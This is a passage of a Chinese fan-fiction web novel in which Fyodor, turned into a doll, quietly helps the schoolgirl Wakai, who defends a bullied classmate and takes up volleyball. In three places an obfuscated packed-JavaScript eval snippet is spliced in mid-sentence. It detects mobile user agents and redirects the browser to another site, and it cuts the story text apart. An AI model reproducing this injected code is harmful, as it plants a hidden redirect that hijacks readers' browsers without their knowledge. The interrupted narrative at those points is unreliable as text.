川上若衣把费佳娃娃抱在怀里,看着车窗外远去的风景,不由得想到了自己昨天早晨看见的电脑上的内容。 是一个名为“日记”的文件夹。打开以后就可以从行文看得出,里面全都是爷爷写下的日记。 日记里每一篇汉字都很多,也有一些很复杂的汉字。以若衣的识字能力还有很多内容还读不出来,但却有一句话无数次出现。 那就是—— 爸爸和两个姑姑,是爷爷的骄傲。 所以,若衣暗自记住了这句话,并且试着在爸爸面前说了出来。 现在看来果然没错! “谢谢你,妈妈。”看了一眼一旁正在手机上和谁发着邮件的妈妈,若衣突然说道。 “啊?” 妈妈抬起头,疑惑地看了她一眼。 “就是爷爷的日记呀。”小姑娘笑嘻嘻道。 “那个晚上,难道不是妈妈把我抱到了床上吗?”若衣一歪头,“而且意识到了我想扮演爷爷;还顺便我找到了爷爷的日记。” “多亏了妈妈,刚才爸爸笑了!这还是这次见到他第一次对着我笑。” “……?” 女人奇怪地看着眼前的女儿。 那天,她和丈夫,还有两个小姑子的确一直收拾东西到凌晨才准备睡下。临睡前无意间看了女儿一眼,就发现她在书房里趴着睡着了。可她做的只不过是帮若衣弄好了床铺而已。至于若衣爷爷的日记什么的,她并不知情。 毕竟在发现若衣趴在桌子上睡着的时候,电脑屏幕已经熄掉了。 应该是若衣的父亲或者哪个姑姑找到的吧,女人心想。 但这种事情其实也不需要太多的解释,所以妈妈也只是摸了一把女儿的头。 在不知不觉中,若衣真的长大了。 等回去以后,晚饭的食谱就做她喜欢吃的汉堡肉或者油淋鸡盖饭吧。她在心里计划起来。 与此同时—— 被川上若衣抱在怀里的费奥多尔看见,他的眼前有一次出现了文字, 3.5/100。 这一次的加点居然是“2”吗? 这让费奥多尔觉得自己心情还不错。 看来,也许他可以比之前想象中更早变回人类了。 只要把这个孩子带好。 只不过…… 她回忆起了川上若衣的爸爸,还有那两个姑姑。 三个人看起来也都不是异能力者,也没有人在横滨工作。 也就说明,川上家和横滨、还有异能力只会一点有联系的可能也要被排除了。 看来自己会来到这里的确只是个巧合吧……魔人想。 5. 05 05 再去学校的时候,川上若衣有点忐忑不安。 她既害怕同学们对她连续好几天的请假表示好奇,也担心班主任说出情况后大家的同情与关心会让自己别扭。 但还好,班级里对待她的态度和以前没什么变化,这让若衣放松了不少。 一个星期后,爸爸回到家里住了一天,便重新登上了前往莫斯科的航班,那之后的日子,恢复了往常。 若衣照样那天去学校上学,听日向夏说她那个“自从考试打排球人都开朗了不少”的哥哥,回到家后会则用帮妈妈做家务、给娃娃们讲故事的方式来度过夜晚。 但偶尔还是会有奇怪的事情。 比如忘了放进洗衣机的体育服第二天一看十分干净,没有一点污渍。 比如玩累了没收拾好就睡下后,第二天娃娃们已经整整齐齐地在自己的床上。 再比如弄丢了的香水橡皮不知道从哪个角落滚了出来。 川上若衣把这些全都当成了妈妈帮她做的。会在吃早饭时说一声谢谢,可妈妈却好像并不明白她为什么道谢的样子。 也许对妈妈来说,作为一个母亲,这些日常生活上的小事不足以记住吧……若衣在心里自己解释起来。 尽管她并不知道,每个晚上在她睡下之后,抱在怀里的费佳娃娃都会很认真地看着眼前的数字。 已经到了10/100。 费奥多尔发现,就在分子达到“10”之后,似乎数字更深了一些。 他在心里总结了两种可能—— 或许只是在告诉他自己离目标近了一句。 但也许……即使用不着“100”,数字达到一定程度也会发生一些变化。 但他也只能继续下去。 爷爷的葬礼后很快就是新年,过完了年,若衣便还有两个月就要上五年级了。 若衣所在的学校会在三年级和五年级的时候重新分班。因此,三月份上课的第一天,大家都聚集在新的分班表前。 “猫酱——!” 看见若衣来了,日向夏一个虎扑:“呜呜呜呜呜呜,这学期我们不在一个班了!” “啊……” 若衣踮起脚尖看了一眼分班表,才发现她在A组,而日向夏则在隔壁的B组。 这还是进入这所学校以来她们第一次不在一个班级。 “好了,夏酱,体育课我们还是有机会一起上的。课间也可以来找我……”若衣也只好摸着女孩毛绒绒的头发安慰。 尽管她并不知道,体育袋里的费奥多尔听着日向夏的哭声,很认真地考虑了一下让若衣和日向夏在一个班级的可能性,然后才发现,这对一个玩偶来说的确办不到。 新的班级里,四年级时一个班的同学并不多。但好在川上若衣凭着开朗的性格很快就再一次和班里的同学打成了一片,至少是可以放学一起去买一块橡皮,或者在便利店买一串烤鸡肉串或一个肉包子的关系了。 直到开学一个星期后的一天。 老师领着一个瘦小的女孩来到了教室里,说今天有转学生。 若衣自己没有过转校的经历,班级里以前也没有来过转校生,可是没吃过猪肉的人也知道猪怎么跑。但奇怪的是,女孩没有主动自我介绍,也没有在黑板上写下自己的名字,只是站在讲台前,局促不安地搅动着双手。 这孩子…… 是太紧张了,不知道转校该怎么办吗? 还没等若衣决定好要不要主动帮助一下转学生,老师已经帮忙写好了“小野真理子”这个名字,然后说道: “小野同学是隔壁特别支援学校转来的,第一次的普通学级会有很多不适应的事情,希望大家能多理解一些。” 特别支援学校是什么?若衣不明白。 可是下课之后,她还是听到了教室里的声音。 “特别支援学校,我妈妈说过,那是笨蛋的学校。 “啊?那小野她……” “也难怪啊……” “笨蛋的学校”?若衣记住了这个词。 课间日向夏来找她玩的时候,川上若衣很自然地就问了出来: “笨蛋的学校是什么啊?” “啊?”日向夏皱起鼻子,“我也不知道啊……” 夏酱的国语成绩挺好的,也不知道吗? 那也许只能问妈妈了。 晚上,这个问题再一次被在餐桌上被提起。 “若衣,”妈妈并没有直接回答,而是严肃地说道,“你的新同学不是笨蛋。她只不过是比起其他孩子可能有点个性而已。” “这样啊……”小女孩似懂非懂。 “不过,就算小野酱是笨蛋也没关系啊。”他一笑,“因为我也是笨蛋嘛。” “笨蛋之间当然要好好相处。” 妈妈:“……” 费奥多尔:“……” 这小女孩…… 到底有没有理解啊? ………… 小野同学似乎的确和其他十岁左右的小孩子不一样。 开学半个月后,川上若衣如是想。 上课的时候她从来不会举手,吃午饭用的仍然是勺子,可即使如此,还是经常让鸡块滚落在地上,或者吃咖喱弄得整个嘴唇都是。 她上学时的衣服和发型一般都很整齐,可如果上了体育课需要换运动服,再换回原来的衣服时就偶尔会把衣服穿反,或者把扣子弄错。 这些错误川上若衣上幼儿园的时候就不会犯了。 可奇怪的是,老师从不生气。即使中午她偶尔不小心把整个餐盘打翻了,也只是好声好气地安慰着帮忙收拾。 换成是其他同学发生类似的情况,二年级以后就没有这样的待遇。 这是因为小野的“个性”吗?若衣想。 四月中下旬的一天,五年级后第一次小测验的成绩发了下来。这次考试内容十分简单,大家都考得很好,有好好复习的川上若衣也如交卷时的自信一般,拿到了一百分。 可就在她在课间开开心心地想着今天的晚饭是不是可以点菜的时候,身后的座位上前却传来了“刷拉”的一声,然后是一声惊呼: “哇!满分一百分,你居然只考了五分诶!” 说话的正是小野转来那天说出“笨蛋的学校”一词的男生。 他振振有词:“可是这次考试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261333|198039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很简单啊,就连考前没怎么学习的我都拿到了八十分。” 说完了,还要回头和其他的学生们确认:你们说“对吧,大家都考了多少啊?” 也不知道是不是因为成绩的确很好,一群孩子们听到了这句话,立即跟着曝出了自己的成绩。有一百分的,也有八九十分的,也有几个没有回答的。但听了一圈,除了小野,大家的分数的确是七十分以上。 小男孩得意洋洋地扬了扬小野的卷子,总结道:“不愧是笨蛋的学校来的学生。” “……” 那天回到家后,妈妈便能感觉到,川上若衣的情绪并不太好。没有蹦蹦跳跳地问她“下午茶吃什么”,也没有给她讲学校的事情,甚至直到晚饭,才抱着十岁生日收到的娃娃来到了楼下。 “若衣,心情不好吗?” 看着妈妈的神情,川上若衣鼻子一酸,把课间的小插曲一五一十告诉了她。 “那若衣怎么想?”她听见妈妈问道。 “我感觉……别说五分,就算小野她只考了零分,那样也太过分了。可是我却没敢阻止……” 妈妈轻轻摸了摸若衣的头。 “若衣,这种事想要站出来,是需要很大的勇气和觉悟的。比如说他们可能会因为你这么做了故意针对你、欺负你,而你即使承受了这些还是得不到感谢。” “可是若衣至少做到了,没和大家一起起哄,不是吗?” “当然,如如果你下定决心不管可能经历什么要帮她的话,妈妈愿意站在若衣这边。” “……” 川上若衣并不知道这样是否真的好。可她还是决定,以后如果小野再扣错了衣服的扣子,或者因为不会系鞋带而拖着鞋子回家,她会主动帮忙。 但还没等她这么做,变故就发生了。 科学课上,老师宣布这周的作业是大家分组研究校内的植物或动物,并在周五的课上进行发表。在已经分好的小组中,川上若衣发现,自己的名字下面正是“小野”。 除此之外,还有那个把小野的成绩当笑话给全班看的男生的名字。 “……” 当天下午,大家便一起在校园里寻找起了小组作业的素材。 并没有小野。 看着眼前正在围着花坛讨论着的孩子们,川上若衣还是忍不住提醒道: “话说小野桑不在……” “没关系啊。”那个嘲笑过小野的成绩的男生说道,“我们本来没告诉她今天下午要一起找素材。” “反正那家伙,有她和没她也没区别,不是吗?” “这么一说……另一个女孩跟着皱了皱眉头,“好像的确没有能交给她的工作。” “好像是这样。”又有一个男孩说道,“小野连自己的名字都还写不好,算数也不行,上次美术课两人一组画对方的画像,还把我画成了大猩猩!不管是总结和记录还是手抄报都没法交给她……” “……” 看着大家议论了一番就继续讨论起杜鹃花和百合花哪个更适合作为研究报告的内容的样子,川上若衣眼睛闪烁着。 这个世界上…… 真的有不被需要的人吗? 6. 06 06 下午。 因为要举行全校教师的会议,今天乌野高中下午不需要上课。和排球部的伙伴们一起练习了一会后,日向翔阳便去了妹妹所在的学校。 日向夏已经是小学五年级学生了,按理来说早就过了需要接送的年龄,但因为最近附近有和小孩子们搭讪的可疑人士出没,而且今天日向夏说了会晚点回来,所以他还是准备顺路把妹妹一起带回家。 日向翔阳已经上高中三年级了。下定决心称为职业运动员的他已经决定毕业后去巴西留学进一步进修,而他最担心的也是还年幼的妹妹,所以还是很珍惜和小夏的共同回忆。 在校门口等到妹妹的时候,他看见,除了日向夏外,还有一个和她年龄相仿的小女孩。 记得这孩子是叫若衣来着?五年级开学的时候夏回了家还因为和她不在同一个班大哭过一场。 只不过,日向翔阳总觉得,今天的川上若衣和妹妹的描述,或者偶尔来他们家玩时的样子不太一样。 小姑娘一路上都一言不发,只是仅仅背着书包拉链兄妹二人并徘走在一起。来到相反方向的岔路口时,挥了挥手就准备走。 “……” 日向翔阳还是选择了叫住她:“若衣酱是今天心情不好吗?” “对啊!”哥哥的话瞬间引起了小夏的共鸣,“猫酱你今天都没怎么怎么说话的!” “……” 川上若衣想了想,还是决定把刚才发生的事情告诉兄妹二人。 被日向翔阳带着来到了一家麦当当后,她一边吃着夏酱哥哥给买的可乐和薯条,一边把自从小野转来后班上的事情说了出来。 从小野第一次被说“笨蛋的学校”转来的学生一直到“她不被需要”。 “这太过分了!”日向夏一拍桌子,“要是我们一个班,我一定要狠狠揍那小子一通!” 说着还得意洋洋地做了个秀肱二头肌的动作,表示自己的体育可是每学期的期末评价都是满分。 “夏……!”翔阳制止了妹妹,然后才对垂着头的小女孩说道,“若衣酱,后天是周日,不知道你有空吗?” 若衣叼着薯条摇摇头。 “那就好。”少年一笑,“不知道若衣愿不愿意去看我的比赛?” “……!”日向夏的眼睛里就变得亮晶晶的。 “去看哥哥的比赛,和猫酱一起?太好了——!” 只要不是去不适合小学生去的地方,妈妈向来不反对女儿的外出。因此,星期日若衣成功和日向夏一起抵达了市民体育馆,观看日向翔阳的比赛。 川上若衣并不知道仙台市都有哪些排球部比较好的学校,可是只从不相上下的比分就能看出来,乌野高中这次遇到的并不是可以小看的对手。两边的分数你追我赶,好几次乌野都险些失败,但还好,在加时赛中还是以一分之差获得了胜利。 台上,少年们拥抱在一起,旁边的日向夏也不断地为哥哥的胜利而欢呼。 比赛结束后,两个女孩就被日向翔阳带到了附近的家庭餐馆,并且亲自用零花钱点了两份草莓芭菲。 把菜单放下后,他才问道: “若衣觉得,我们学校的队伍厉害吗?” “当然厉害!”日向夏兴奋道。 日向翔阳:“这一次,因为有的三年级同学需要忙升学的事情,有两个替补。” “他们都是一年级的新生,甚至那个棕色头发的哥哥在高中之前仅在体育课上接触过排球。若衣觉得,他们都是不被需要的人吗?” “……”川上若衣想了想,还是摇头。 “他们也很努力了啊!而且如果少了两个人的话,情况可能就不一样了!” “嗯。” 这个回答似乎让日向翔阳很满意,他点了点头:“排球场,就是这样的地方。” “可能有的人技术不精,甚至整场比赛都碰不到几次球,可能有的人有至今还没克服的短板。但赛场上的六个人,缺一不可。没有不被需要的人。” “我想生活中也是这样吧。” “……” 听着日向翔阳的话,川上若衣默默看了看刚刚送上芭菲的服务员。 “就比如说没有店员的话,我们就吃不到芭菲了。” 日向翔阳没有肯定也没有否定,只是笑着说道:“吃吧。” 不知道为什么,她总觉得心脏跳得厉害,似乎有什么在蠢蠢欲动。 回家的时候,若衣特地去了一趟车站附近的体育用品店。 在一排排各式各样的球中,她终于找到了排球。 然而…… 最便宜的联系球也要两千。 川上若衣看了看自己钱包里仅有的五百日币钢镚:“……” 看来,还是要和妈妈说一下才行。 于是,她立即气喘吁吁地跑回家,顶着红扑扑的脸蛋把今天的比赛,还有日向翔阳说的话告诉了妈妈。然后才总结道: “妈妈,若衣也想学排球!长大以后成为翔阳哥那样的未来的排球选手!” 她想,如果能和小野,和大家一起打一场排球比赛的话,也许就没人会说她是不被需要的孩子了。 可唯独这一次,妈妈没有马上同意,只是从储藏室里拿了一个若衣小时候用的玩具球,带着她一起练习了发球和接球后,让若衣自己先在庭院里熟悉。 费奥多尔也被放在了铺在草地上的毯子上。 其实他很能理解小姑娘母亲的做法。 毕竟,川上若衣刚才说的,是”成为运动员”。 即使是因为身体原因从不能剧烈运动的他也知道,这并不是只要努力就一定能得到回报的工作。 若衣的妈妈也只是希望女儿先了解一下,好好想清楚,再决定要不要给她买真正的排球,或者送她去面向小学生的排球教室。 但很显然,小姑娘是认真的。 接下来的几天,回家后她放下书包就开始写作业,一写完就抱着几个娃娃来到院子里,对着墙壁练习接球、发球。 有好几次甚至还带着日向夏一起来练习。 只是,小组作业的发表是在星期五的科学课上。对一个第一次接触的小姑娘来说,一个星期的时间,只能允许她学会用准确的姿势接住球而已。 甚至还有好几次会失败。 “唔……” 再一次被排球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261334|198039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞到了鼻子,鲜血顺着小女孩的鼻子流了下来,可她只是擦了一把,就再次拿起了排球。 这些都被费奥多尔看在眼里。 这丫头…… 不会真的要做排球运动员吧? 显然,如果只是想在周五的科学课之前学会这项运动,然后和大家一起比赛,时间根本不够。 而且—— 只是执着于排球的话,那么也就意味着若衣根本没能理解她朋友的哥哥说的话的真实意图。 重要的并不是具体的哪种球。 意识到这一点的那个晚上,费奥多尔发现,自己又可以动了。 经过这几个月来的观察,他已经确定,每一次他能活动身体,都是在若衣需要帮助,而自己有能力的情况下。 看了看小女孩的睡颜,费奥多尔小心翼翼地爬到了课桌上,第一眼便看见了贴在墙上的课程表。 明天是星期三,课程是—— 看着看着,她的目光落在了其中一节课上。 ………… 清晨。 这几天,川上若衣每天都比平常早起一个小时的时间。 毕竟夏酱说过,他哥哥也是这么干的。每天早上会早早爬起来在家里自主练习。 可就在她准备拿起球去院子里的时候,目光落在了课程表上。 这…… 也是妈妈干的吗? 周四上午的第三节课是体育。 正是这节课,被标上了大大的红圈。而旁边还写着“躲避球”的字样。 若衣想起,一个星期前老师就早早地说过了,体育课上会进行和其他班打躲避球比赛。赢了的班级老师会奖励每人一块巧克力。 这对五年级的孩子来说还是有很大吸引力的。 川上若衣换好体育服之后,一眼注意到了教室后排的小野。 她又把衣服穿反了。 幸亏更换体育服时男生们不在场,那几个坏小子才没再次说小野是“笨蛋”。 于是,若衣特地借口还有点事,让几个玩得好的女同学先去操场。等教室里只剩下还在慢吞吞穿着裤子的小野时,才走上前帮她把衣服调整了过来。 女孩并没有主动道谢,但若衣并不介意,而是问道: “今天的体育课也是旁边吗?” 之前的体育课,小野一直都是坐在操场的一角看着,从未和大家一起上过课。 这次女孩倒是有反应,可也只是点头而已。 “小野酱也一起打躲避球吧!”她的手却一把被若衣拉住了。 “放心吧!” “就算一上场就被淘汰掉了也没关系!万一就因为多了你一个人,我们就赢了呢?” “……”女孩还是没有答话。 “巧克力。”川上若衣却问道,“你想不想吃?” “如果小野一起比赛的话,我的那份,给你!” “……” 过了半晌,不知道是不是想到了巧克力香香甜甜的味道,她才终于点了点头。 “巧克力,要吃。 “那就走吧!一会该迟到了。”若衣立马拉起女生的手,“我会帮你跟老师说的。” 7. 07 07 对于让小野一起加入躲避球比赛一事,体育老师倒是没说什么,但同学们却议论纷纷了起来。 “诶?小野桑,今天不是旁观了吗?” “那家伙……不会一上场就会出局吧。” “很可能啊哈哈哈哈!你看她这段时间摔倒多少次了……” 而站在队伍里的小野,再一次变成了安静的样子。紧紧捏着体育服的下摆,仿佛刚才对着若衣开口说出的话是幻觉一样。 体育老师也不知道是听见了叽叽喳喳声音,清咳了一声,宣布比赛开始。 一起进行比赛的,是今天同一节上体育课的C组。五年级的小孩子已经很会观察了,不一会,就注意到了对手中那个特殊的孩子。 她反应很慢,当周围其他人匆匆避开投来的球时,却总是会在球差一点砸到自己的时候才躲开,甚至好几次都脚下一绊,差点摔倒。 于是孩子们不约而同地制定了战略—— 躲避球这游戏,胜负的关键的是时间结束后谁出局的人多。想要在有限的时间内淘汰掉更多的人,最重要的自然是从弱者开始击破。 于是,看起来最容易出局的小野就成了主要的目标。 一开始还不明显,可当对手一次又一次把球扔向小野的方向,甚至故意用假动作把前面的人引走时,他们的意思已经很明显。 而小野的反应力,根本不足以躲开。 可就在躲避球即将撞到小野的衣服上时,却有一道身影主动出现在了前面。 “若衣酱!”有女生忍不住惊呼道。 川上若衣……居然主动接住了砸向小野的球,然后扔了过去,准确地淘汰掉了一个人。 甚至不顾如果不是她在女生中运动神经是好的,很可能被砸到脸。 “……!”其中一女生意识到了什么,小声对周围的几个同伴说道,“对啊!既然他们盯上了小野的话,我们只要保证小野不出局,就可以拖延时间!” 她是很小声说出这句话的。也许有的人听见了,有的人只是注意到这边在说着什么,但接下来的比赛中,一开始只是几个女生开始主动去接下砸向小野身体的球,到了后来,全班同学也都意识到了对手的意思,只要躲避球砸向小野,一定会有人去接球。 这期间,虽然也有几个人反应不及时被淘汰掉了,但当老师吹哨子宣布比赛结束的时候,A组还是以很大的优势获得了胜利。 体育老师也如约把一块块巧克力分给了同学们。 “这一次的比赛,老师很感动。”他说,”不是因为你们赢了,而是在这次比赛中大家明白了一个很重要的体育精神。” “一个团体,缺一不可。” “……” 孩子们沉默了,有不少人低下了小小的头颅,不知道为什么,总觉得手里的巧克力吃起来明明是甜的,却又好像那么苦。 直到—— “若衣酱?你怎么把巧克力给小野了?”一个和若衣玩得还比较好的女孩子问道。 “因为小野她,足够努力了啊!”川上若衣没有提到教室里和小野的约定,只是说道。 大家这才意识到,即使小野反应慢了些,也在努力躲避。有几次大家差一点接不住,但都多久她即使闪开,才没有出局。 这话一出,还没有撕开巧克力包装纸的孩子们一个个小手主动伸了过来,把自己的巧克力放在了小野的手心上。似乎在说“加油”,但又似乎在说“对不起”。 “谢谢……”女孩子愣了一下,磕磕绊绊地说道。 同时。 20/100。 费奥多尔的眼前,数字开始变化。 这还是他第一次一下子拿到了10分。 ………… 周五的小组作业发表,若衣的组全员都参与了。 而手抄报上,“学校的花”一行字下,也画着一个小野亲手画下的小红花。 似乎就在那之后,会主动教小野不会的问题的人、提醒小野头发乱了、衣服不整齐的人增多了。那几个主要欺负她的男孩子虽然不在其中,躲避球比赛那一天也没有给小野巧克力,可是在一个晨会上,却主动哭着道了歉。 至于排球,虽然川上若衣不再如刚听到翔阳哥的话时那样到了走火入魔的程度,可有时间的时候仍然会让妈妈或者日向夏陪她一起练习。 与小野的事无关,只不过她真心通过翔阳哥的比赛感受到了这项运动的魅力。 直到学期末的家长参观日那一天,川上若衣被一个男人叫住了。 当看见站在其身后的小野时,若衣立即意识到男人的身份。 “叔叔……” 那男人没说话,只是鞠躬向若衣道谢。 “我能感觉到,自从转入普通学级后,女儿一直不是很开心。”他说,“但她什么也不肯说,那孩子不告诉我的话我也很难行动。甚至我都开始怀疑,让女儿转学的本意是尽可能地让那个孩子在一个和同龄人更相似的环境中长大,可我是不是做错了。” “但有一天,她第一次和我说起了学校的事情,提到了‘一个名字很像猫猫的女孩’。在那之后,性格也似乎开朗了不少。” 最后他说,在小野性格变得开朗了之后,他终于通过沟通了解了这段时间学校发生的事情,那几个男孩会道歉,也是小野的父亲主动找学校、找PTA的结果。 再加上班上另一个同学——川上若衣的妈妈也像班主任反应过这件事,学校不得不重视起来。 而面对第一次得到的来自大人的感谢,川上若衣也只是摇了摇头,然后说道: “小野酱,每天来学校时的梳妆都是很整齐的。” “这都是因为她被自己的爸爸妈妈爱着吧。” 在那一刻,男人声音哽咽了,而费奥多尔的分数,也第一次在他什么都没干的情况下增加了“1”。变成了“30”。 但看见眼前的数字的魔人却好像并不吃惊。 七月中下旬的期末考试结束后,就开始了长达一个多月的暑假。 结业式的那一天,大概是发现若衣坚持学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261335|198039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了排球这么久,作为期末成绩还算理想的奖励,妈妈真的给她买了一个排球。以至于若衣忍不住抱住妈妈撒欢了好久。 可她并不急着马上开始正式的排球学习。 在这之前,还有重要的事情——作业。 比起在八月末哭唧唧赶作业,川上若衣还是更喜欢在暑假的开头就开动“开学模式”,把作业完成。毕竟,这样子剩下的日子就可以毫无芥蒂地玩了。 因此,放假后的第一个星期,她便和日向夏一起约在了市民图书馆,完成读书感想文的作业。 而日向夏的哥哥翔阳马上要去巴西留学了,所以这个暑假要恶补语言,也跟着两个小女孩一起在图书馆里学习。 到了五年级,读书感想文作业第一次不是指定的作品,而是让大家通过自己的感想来介绍最喜欢的一本书,或者一个故事。 日向夏一进入图书馆,就拿了一本童话合集。完成了感想文后,两个人互相分享自己的内容。 日向夏的读书感想文内容是《鞋匠的小人》。 这个故事本身不复杂,若衣给她的娃娃们读的那些幼儿园时期买的绘本里也有这个。讲的是一个老鞋匠晚上睡着后都会有小人帮他完成一双制作精美的鞋子,知道了真相的鞋匠也最终掌握了技术,从此过上了自力更生的生活故事。 而日向夏很正直地在文章里写道: 第一次读到这个故事的时候我都会梦想,如果我的家里也能有小人帮我做事就好了。 日向翔阳道:“那是你自己刚上小学的时候老是贪玩,快睡觉了才想起来写作业吧。” “哥——!” 看着兄妹两打闹的样子,若衣没忍住笑了出来。这才让注意到日向夏停止了继续指责哥哥揭自己老底的行为。 “不过,也许我们的背后真的有这样的小人哦。”川上若衣却神秘地说道。 反正现在作业也写完了,时间也还早,于是她干脆和日向夏讲起了这段时间妈妈会在晚上帮她的事情。 引得日向夏一阵羡慕。 “我妈妈虽然也会在晚上帮我掖被子什么的,但三年级以后,如果发现我有作业没写完,或者忘了带明天需要的课本的话,只会让我起来自己弄。” “妈妈确实是这样的人。”日向翔阳也肯定道。 听着小夏的抱怨,若衣再一次笑了出来。 可接着,她却突然想起了一件事。 妈妈…… 是怎么知道体育课有躲避球的? 要知道,那段时间她一心都在练习排球上,所以没怎么和妈妈说太多学校的事情,包括躲避球比赛。 “……!”川上若衣眼睛突然一亮,甚至因为兴奋一按桌子,猛地站了起来。 “怎么了?”日向夏被好友的反应吓了一跳,连忙问道。 “夏酱,翔阳哥!” 小姑娘的脸蛋仍然是红扑扑的,眼睛亮得仿佛星辰: “也许,我是说也许,我家里真的有住在鞋子里的小人。” 日向夏:……啊? 8.08 08 猫、猫酱? 因为川上若衣惊世骇俗的发言,日向夏拿在手中的书不知道什么时候掉在了桌面上。反应了好大一会,她才说道: “晚上会偷偷帮你的,不是你的妈妈吗?” “体育课。”若衣的眼睛仍然是亮晶晶的,吐出了一个词语。 日向翔阳和日向夏:……啊? “体育课!”小姑娘又重复了一遍,“我们体育课上要进行躲避球比赛的事情我没和妈妈说过,可是她却知道了!” “……”日向兄妹互相看了一眼。 他们能理解若衣在说什么。 但…… “若衣酱,”放下了手中的词典,日向翔阳还是决定纠正一下小姑娘的错误认知,以免她产生“反正有人帮我做事什么也不用做”的错误想法,“的妈妈,和班主任打过电话反应国那孩子的遭遇,对吧。” 若衣点点头。 为此,班主任还在晨会上说过不要抢同学的试卷,也不要因为自己分数高就得意。 “对啊!”日向夏懂了,“也许是猫酱的妈妈从老师那里听说了体育课的事情的啊!” “……“ 川上若衣眼睛转了转。 这个答案好像的确比起只在童话故事里见过的“小人”来更靠谱。 “原来如此。”尴尬地后脑挠了挠,若衣坐回了自己的座位上。 但不知道为什么她总觉得就好像小时候刚知道每年圣诞夜藏在枕头底下的礼物其实是妈妈送的一样,明明比起“圣诞老人来了”更合理,但却有种怅然若失的感觉。 下午回家后,妈妈出去做兼职不在家。川上若衣打开自家的鞋柜,检查了每一个鞋子,确定了没有收获之后,还是不得不接受了这个事实。 鞋子里,没有妖精。 回到自己的房间里,川上若衣看了看安静躺在床头的费佳,还是把它拿了起来,说了图书馆的事情后,自言自语般说道: “费佳,我是不是有的时候还是太孩子气了。” “居然因为没和妈妈说过躲避球比赛的事情,就以为是鞋匠的小人来了我家什么的……” 她叹了口气:“明明我还有半年都要上六年级了……” 只是。此时的她只顾着失望,却完全没注意到,如果她仔仔细细看着自己的娃娃的话,会感觉,那双的紫色豆豆眼似乎变得比起之前多了几丝凌厉。 看来这只猫也不是纯傻……费奥多尔心说。 现在的他是连活动身体都不能自己决定的娃娃,绝对不能被察觉到身份。也许以后完成任务要更“隐蔽”一些了…… 那之后,费奥多尔的确是这么干的。 因为,就在当天晚上吃饭的时候,明明若衣没遇到什么困难,他的身体却可以动了。于是,在小姑娘准备下楼吃饭的时候,他故意把自己掉在了地上。 布娃娃掉在榻榻米上虽然不会打出什么巨响,可还是引起了若衣的注意。 “费佳?”小女孩回过头,“怎么掉在地上了?” 帮小娃娃拍了拍身体,她若有所思地道: “莫非你也想一起吃点什么吗?” 自那之后,费奥多尔再一次成为了唯一会被带到餐桌上的娃娃。 根据川上若衣本人的说法,这是爸爸送的布娃娃,让费佳也在餐桌上的话,也许就能像真正的爸爸一样保护她和妈妈了。 听到这个说法,若衣的妈妈也只是以为女儿又想爸爸了,默许了这个决定。 从此,费奥多尔虽然还会完成任务,可却变成了挑着来。至少不会再出现类似于上次的“情报误差”。 魔人第一次翻了车,却又被好心的小女孩主动捞了起来。 盛夏,天气越来越热了起来。到了八月份的时候,费奥多尔的积分终于到达了45,分子上的数字颜色也越来越浓了起来。 魔人有一种预感。 根据现在的颜色,也许变化会发生在拿到50分的时候…… 八月底某一天的傍晚。因为要临时接替同事的班,妈妈给若衣准备完晚饭就得走了。叮嘱小姑娘插好安全链,有什么事用座机打电话后,她这才出了门。 但对于一个小学五年级的学生来说,一个人留在家里已经不是什么很可怕的事情,哪怕是在晚上。更不用说妈妈说了,十点之前会回来。于是,小姑娘干脆心很大地坐在一堆娃娃中间打起了游戏。 费奥多尔被迫和其他娃娃们一起,看着电视屏幕上红色帽子的水管工一会跳起来,一会吃蘑菇变大。 好无聊的游戏…… 如果是他的话宁愿玩露西亚方块。 不过川上若衣似乎还是挺擅长这类游戏的,连续好几关都是零死亡通关。直到游戏的第二个地图开启了,才不小心一脚踩空,人物掉了下去。 啊……果然还是翻车了。魔人想。 可是他看了一眼一旁女孩的表情,却总觉得看起来哪里不对劲。 这孩子这是怎么了? 不知道是因为一整天都在开着调到很低的空调的客厅里,还是因为昨天和夏酱出去玩的时候嘴馋吃了一根冰棍,川上若衣突然觉得有些不舒服。便也只好放下游戏手柄,准备上个厕所再继续。 可当她站起身的时候,却顿住了脚步。 白色的坐垫上染上了一小片鲜红。 川上若衣:“……” 费奥多尔:“……” 两个人的脑中,不由得想起了同一个词。 ………… 学校里是有保健方面的课程的。关于女孩子会来生理期这件事若衣知道,也跟着妈妈学过怎么处理。可关键是,现在的她,十一岁生日还没有过。 虽然这个时期来生理期属于正常范围,但川上若衣还是没想到,她“成为女人”的那一天居然会这么早到来。 